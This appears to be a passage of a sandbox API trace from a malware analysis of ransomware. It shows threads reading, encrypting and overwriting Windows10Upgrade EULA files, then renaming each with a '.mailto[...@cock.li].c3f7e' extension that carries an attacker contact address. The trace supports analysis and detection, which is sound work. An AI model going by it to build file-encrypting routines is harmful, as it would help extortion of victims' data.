	[0087.932] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b30
	[0087.932] GetFileSizeEx (in: hFile=0x1b30, lpFileSize=0x2ac3fd44 | out: lpFileSize=0x2ac3fd44*=253453) returned 1
	[0087.932] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x3de09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.932] ReadFile (in: hFile=0x1b30, lpBuffer=0x2ac3fcc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ac3fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2ac3fcc8*, lpNumberOfBytesRead=0x2ac3fcc4*=0x4, lpOverlapped=0x0) returned 1
	[0087.939] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.939] NtQuerySystemTime (in: CurrentTime=0x2ac3fca4 | out: CurrentTime=0x2ac3fca4*=132251868146788660) returned 0x0
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x56667495
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xade6fe56
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xfd51978e
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xb8246516
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x508938
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x863ee090
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xbc18712d
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xdb9b58af
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xe7b58cc8
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xc8db7662
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x41c40094
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xaafe0400
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xeacca9d5
	[0087.939] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xbfc99ac1
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x64fec3ec
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x28c310e3
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xf4232e74
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x1e17c055
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xcd1d9fe8
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x2fb9895a
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xa91347c9
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xb7caee51
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x9877f4ee
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x9bc06a21
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x2435bac6
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x43c1dca6
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x2ca13c01
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xdf57b0b5
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x544ef13c
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0x1e361ac1
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xb894f67b
	[0087.940] RtlRandom (in: Seed=0x2ac3fcb0 | out: Seed=0x2ac3fcb0) returned 0xc3d977c2
	[0087.948] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.948] ReadFile (in: hFile=0x1b30, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2ac3fc84, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x2ac3fc84*=0xc800, lpOverlapped=0x0) returned 1
	[0087.952] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0087.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0087.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.953] WriteFile (in: hFile=0x1b30, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2ac3fc84, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x2ac3fc84*=0xc800, lpOverlapped=0x0) returned 1
	[0087.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e45968
	[0087.955] SetFilePointerEx (in: hFile=0x1b30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.956] WriteFile (in: hFile=0x1b30, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2ac3fd04, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2ac3fd04*=0x10d, lpOverlapped=0x0) returned 1
	[0087.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e459d8) returned 1
	[0087.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45968) returned 1
	[0087.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0087.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0087.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0087.957] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm"
	[0087.957] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.957] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2ac3fcbc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0087.957] NtSetInformationFile (FileHandle=0x1b30, IoStatusBlock=0x2ac3fcb4, FileInformation=0x47ea060, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0087.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0087.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0087.958] NtQueryInformationFile (in: FileHandle=0x1b30, IoStatusBlock=0x2ac3fcc8, FileInformation=0x2ac3fca0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ac3fcc8, FileInformation=0x2ac3fca0) returned 0x0
	[0087.958] NtSetInformationFile (FileHandle=0x1b30, IoStatusBlock=0x2ac3fcc8, FileInformation=0x2ac3fca0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.959] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0087.959] FlushFileBuffers (hFile=0x1b30) returned 1
	[0093.246] CloseHandle (hObject=0x1b30) 

Thread:
	id = 1232
	os_tid = 0x1fac

	[0087.938] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm")) returned 0x20
	[0087.938] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm", dwFileAttributes=0x20) returned 1
	[0087.954] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b34
	[0087.954] GetFileSizeEx (in: hFile=0x1b34, lpFileSize=0x2acbfecc | out: lpFileSize=0x2acbfecc*=83315) returned 1
	[0087.955] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x1456f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.955] ReadFile (in: hFile=0x1b34, lpBuffer=0x2acbfe50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2acbfe4c, lpOverlapped=0x0 | out: lpBuffer=0x2acbfe50*, lpNumberOfBytesRead=0x2acbfe4c*=0x4, lpOverlapped=0x0) returned 1
	[0087.960] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.960] NtQuerySystemTime (in: CurrentTime=0x2acbfe2c | out: CurrentTime=0x2acbfe2c*=132251868146944156) returned 0x0
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x17cb4a81
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x172008d5
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x49cf43ef
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x1ae0ee72
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x7a380b97
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x165fb766
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x93913ee4
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x15479ba0
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xea0ee607
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x7aa7ebc
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xe2605b1b
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x51934fee
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x3725d8bb
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xe06143ef
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xc9a9befb
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x44951ade
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xb7eefb60
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x4bb6599f
	[0087.960] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xcf7fa52a
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xb1bda840
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x485d4a8c
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x2cbf52db
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x5a106bcc
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x318e0013
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x34d9fc8
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xe048f0d4
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x794ba9e6
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x1179eab4
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x53ee070d
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xb49d31c9
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0x55b4bdf0
	[0087.961] RtlRandom (in: Seed=0x2acbfe38 | out: Seed=0x2acbfe38) returned 0xe1f106e1
	[0087.969] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.969] ReadFile (in: hFile=0x1b34, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2acbfe0c, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x2acbfe0c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.970] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.972] WriteFile (in: hFile=0x1b34, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2acbfe0c, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x2acbfe0c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e459d8
	[0087.981] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.981] WriteFile (in: hFile=0x1b34, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2acbfe8c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2acbfe8c*=0x10d, lpOverlapped=0x0) returned 1
	[0087.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45b28) returned 1
	[0087.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e459d8) returned 1
	[0087.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0087.992] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm"
	[0087.992] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.992] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2acbfe44, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0087.992] NtSetInformationFile (FileHandle=0x1b34, IoStatusBlock=0x2acbfe3c, FileInformation=0x47ea060, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0087.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0087.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0087.993] NtQueryInformationFile (in: FileHandle=0x1b34, IoStatusBlock=0x2acbfe50, FileInformation=0x2acbfe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2acbfe50, FileInformation=0x2acbfe28) returned 0x0
	[0087.993] NtSetInformationFile (FileHandle=0x1b34, IoStatusBlock=0x2acbfe50, FileInformation=0x2acbfe28, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0087.994] FlushFileBuffers (hFile=0x1b34) returned 1
	[0093.248] CloseHandle (hObject=0x1b34) 

Thread:
	id = 1233
	os_tid = 0x1fb0

	[0087.970] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm")) returned 0x20
	[0087.979] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm", dwFileAttributes=0x20) returned 1
	[0087.979] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b38
	[0087.979] GetFileSizeEx (in: hFile=0x1b38, lpFileSize=0x2ad3fb14 | out: lpFileSize=0x2ad3fb14*=65173) returned 1
	[0087.979] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0xfe91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.979] ReadFile (in: hFile=0x1b38, lpBuffer=0x2ad3fa98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ad3fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ad3fa98*, lpNumberOfBytesRead=0x2ad3fa94*=0x4, lpOverlapped=0x0) returned 1
	[0087.982] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.982] NtQuerySystemTime (in: CurrentTime=0x2ad3fa74 | out: CurrentTime=0x2ad3fa74*=132251868147256648) returned 0x0
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xbf2167f1
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x88be1171
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xa355aae2
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x2ddc26e9
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x1258dc8b
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xee92ce3a
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x54cd4974
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x73a3a2e9
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xda01d3c0
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x14cb7899
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x2f3d5b81
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x3a26a01
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xf469f695
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xa165e80
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x42a5cc9d
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x795da21a
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x11159c95
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xa1c5dc05
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x28ae18ca
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x77c23ffe
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x4d2aa740
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x85fd7562
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x7f3317e3
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x20f420be
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x41b24471
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xd21880
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xb4071cac
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0x7d36e8d8
	[0087.982] RtlRandom (in: Seed=0x2ad3fa80 | out: Seed=0x2ad3fa80) returned 0xdc77bf98
